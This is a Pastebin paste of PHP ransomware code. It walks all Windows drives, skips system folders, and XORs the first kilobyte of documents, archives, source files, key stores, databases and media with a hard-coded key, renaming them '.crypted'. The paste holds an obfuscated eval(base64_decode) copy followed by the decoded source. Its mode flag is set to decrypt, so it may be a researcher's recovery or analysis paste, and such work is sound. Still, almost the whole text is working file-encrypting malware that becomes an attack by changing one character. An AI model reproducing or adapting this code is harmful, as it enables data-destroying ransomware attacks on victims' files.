Advertisement
Demonslay335

Untitled

Jun 30th, 2016
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.93 KB | None | 0 0
  1. <?php function Tree($p) {
  2. $a = 'd';
  3. $k = base64_decode('MWKTjtUcYthOCEqMP7IlRHqwQbgvcL4MiNAYHFKIhtgqrOUeb9pF9mPQdMAMQITI6UKbNH7IF4TxBFGeb+JV9keYAlCesCKU0UrDLJoIE3zlsOQYMozmFGrAxkC6IJkSk8b5oPBA');
  4. $s = chr(92);
  5. if (preg_match('/' . $s . $s . '(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i', $p) || preg_match('/recycle/i', $p)) return;
  6. $dp = @opendir($p);
  7. if ($dp === false) return;
  8. while ($o = @readdir($dp)) if ($o != '.' && $o != '..') {
  9. if (@is_dir($p . $s . $o)) {
  10. Tree($p . $s . $o);
  11. } elseif ($a == 'e' && preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i', $o) || $a == 'd' && preg_match('/[.](crypted)$/i', $o)) {
  12. $fp = @fopen($p . $s . $o, 'r+');
  13. if ($fp !== false) {
  14. $x = @fread($fp, 1024);
  15. for ($i = 0;$i < strlen($x);$i++) $x[$i] = chr(ord($x[$i]) ^ ord($k[$i % strlen($k) ]));
  16. @fseek($fp, 0);
  17. @fwrite($fp, $x);
  18. @fclose($fp);
  19. if ($a == 'e') {
  20. @rename($p . $s . $o, $p . $s . $o . '.crypted');
  21. } else {
  22. @rename($p . $s . $o, preg_replace('/[.]crypted$/', '', $p . $s . $o));
  23. }
  24. }
  25. }
  26. }
  27. @closedir($dp);
  28. }
  29. eval(base64_decode("c2V0X3RpbWVfbGltaXQoMCk7DQoNCmZvcigkaT02NzskaTw9OTA7JGkrKykgaWYoQGlzX2RpcihjaHIoJGkpLic6JykpIFRyZWUoY2hyKCRpKS4nOicpOw0KDQpmdW5jdGlvbiBUcmVlKCRwKQ0Kew0KCSRhPSdkJzsNCgkkaz1iYXNlNjRfZGVjb2RlKCdNV0tUanRVY1l0aE9DRXFNUDdJbFJIcXdRYmd2Y0w0TWlOQVlIRktJaHRncXJPVWViOXBGOW1QUWRNQU1RSVRJNlVLYk5IN0lGNFR4QkZHZWIrSlY5a2VZQWxDZXNDS1UwVXJETEpvSUUzemxzT1FZTW96bUZHckF4a0M2SUprU2s4YjVvUEJBJyk7DQoJJHM9Y2hyKDkyKTsNCg0KCWlmKHByZWdfbWF0Y2goJy8nLiRzLiRzLicod2lubnR8Ym9vdHxzeXN0ZW18d2luZG93c3x0bXB8dGVtcHxwcm9ncmFtfGFwcGRhdGF8YXBwbGljYXRpb258cm9hbWluZ3xtc29mZmljZXx0ZW1wb3Jhcnl8Y2FjaGUpL2knLCRwKSB8fCBwcmVnX21hdGNoKCcvcmVjeWNsZS9pJywkcCkpIHJldHVybjsNCg0KCSRkcD1Ab3BlbmRpcigkcCk7DQoNCglpZigkZHA9PT1mYWxzZSkgcmV0dXJuOw0KDQoJd2hpbGUoJG89QHJlYWRkaXIoJGRwKSkgaWYoJG8hPScuJyYmJG8hPScuLicpDQoJew0KCQlpZiAoQGlzX2RpcigkcC4kcy4kbykpDQoJCXsNCgkJCVRyZWUoJHAuJHMuJG8pOw0KCQl9DQoJCWVsc2VpZiAoJGE9PSdlJyYmcHJlZ19tYXRjaCgnL1suXSh6aXB8cmFyfHIwMHxyMDF8cjAyfHIwM3w3enx0YXJ8Z3p8Z3ppcHxhcmN8YXJqfGJ6fGJ6MnxiemF8YnppcHxiemlwMnxpY2V8eGxzfHhsc3h8ZG9jfGRvY3h8cGRmfGRqdnV8ZmIyfHJ0ZnxwcHR8cHB0eHxwcHN8c3hpfG9kbXxvZHR8bXBwfHNzaHxwdWJ8Z3BnfHBncHxrZGJ8a2RieHxhbHN8YXVwfGNwcnxucHJ8Y3BwfGJhc3xhc218Y3N8cGhwfHBhc3xjbGFzc3xweXxwbHxofHZifHZjcHJvanx2YnByb2p8amF2YXxiYWt8YmFja3VwfG1kYnxhY2NkYnxtZGZ8b2RifHdkYnxjc3Z8dHN2fHNxbHxwc2R8ZXBzfGNkcnxjcHR8aW5kZHxkd2d8YWl8c3ZnfG1heHxza3B8c2NhZHxjYWR8M2RzfGJsZW5kfGx3b3xsd3N8bWJ8c2xkZHJ3fHNsZGFzbXxzbGRwcnR8dTNkfGpwZ3xqcGVnfHRpZmZ8dGlmfHJhd3xhdml8bXBnfG1wNHxtNHZ8bXBlZ3xtcGV8d21mfHdtdnx2ZWd8bW92fDNncHxmbHZ8bWt2fHZvYnxybXxtcDN8d2F2fGFzZnx3bWF8bTN1fG1pZGl8b2dnfG1pZHx2ZGl8dm1ka3x2aGR8ZHNrfGltZ3xpc28pJC9pJywkbykgfHwgJGE9PSdkJyYmcHJlZ19tYXRjaCgnL1suXShjcnlwdGVkKSQvaScsJG8pKQ0KCQl7DQoJCQkkZnA9QGZvcGVuKCRwLiRzLiRvLCdyKycpOw0KCQkJaWYgKCRmcCE9PWZhbHNlKQ0KCQkJew0KCQkJCSR4PUBmcmVhZCgkZnAsMTAyNCk7DQoJCQkJZm9yKCRpPTA7JGk8c3RybGVuKCR4KTskaSsrKSR4WyRpXT1jaHIob3JkKCR4WyRpXSleb3JkKCRrWyRpJXN0cmxlbigkayldKSk7DQoJCQkJQGZzZWVrKCRmcCwwKTsNCgkJCQlAZndyaXRlKCRmcCwkeCk7DQoJCQkJQGZjbG9zZSgkZnApOw0KDQoJCQkJaWYoJGE9PSdlJykNCgkJCQl7DQoJCQkJCUByZW5hbWUoJHAuJHMuJG8sICRwLiRzLiRvLicuY3J5cHRlZCcpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlAcmVuYW1lKCRwLiRzLiRvLCBwcmVnX3JlcGxhY2UoJy9bLl1jcnlwdGVkJC8nLCAnJywgJHAuJHMuJG8pKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglAY2xvc2VkaXIoJGRwKTsNCn0="));
  30. set_time_limit(0);
  31. for ($i = 67;$i <= 90;$i++) if (@is_dir(chr($i) . ':')) Tree(chr($i) . ':');
  32. function Tree($p) {
  33. $a = 'd';
  34. $k = base64_decode('MWKTjtUcYthOCEqMP7IlRHqwQbgvcL4MiNAYHFKIhtgqrOUeb9pF9mPQdMAMQITI6UKbNH7IF4TxBFGeb+JV9keYAlCesCKU0UrDLJoIE3zlsOQYMozmFGrAxkC6IJkSk8b5oPBA');
  35. $s = chr(92);
  36. if (preg_match('/' . $s . $s . '(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i', $p) || preg_match('/recycle/i', $p)) return;
  37. $dp = @opendir($p);
  38. if ($dp === false) return;
  39. while ($o = @readdir($dp)) if ($o != '.' && $o != '..') {
  40. if (@is_dir($p . $s . $o)) {
  41. Tree($p . $s . $o);
  42. } elseif ($a == 'e' && preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i', $o) || $a == 'd' && preg_match('/[.](crypted)$/i', $o)) {
  43. $fp = @fopen($p . $s . $o, 'r+');
  44. if ($fp !== false) {
  45. $x = @fread($fp, 1024);
  46. for ($i = 0;$i < strlen($x);$i++) $x[$i] = chr(ord($x[$i]) ^ ord($k[$i % strlen($k) ]));
  47. @fseek($fp, 0);
  48. @fwrite($fp, $x);
  49. @fclose($fp);
  50. if ($a == 'e') {
  51. @rename($p . $s . $o, $p . $s . $o . '.crypted');
  52. } else {
  53. @rename($p . $s . $o, preg_replace('/[.]crypted$/', '', $p . $s . $o));
  54. }
  55. }
  56. }
  57. }
  58. @closedir($dp);
  59. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement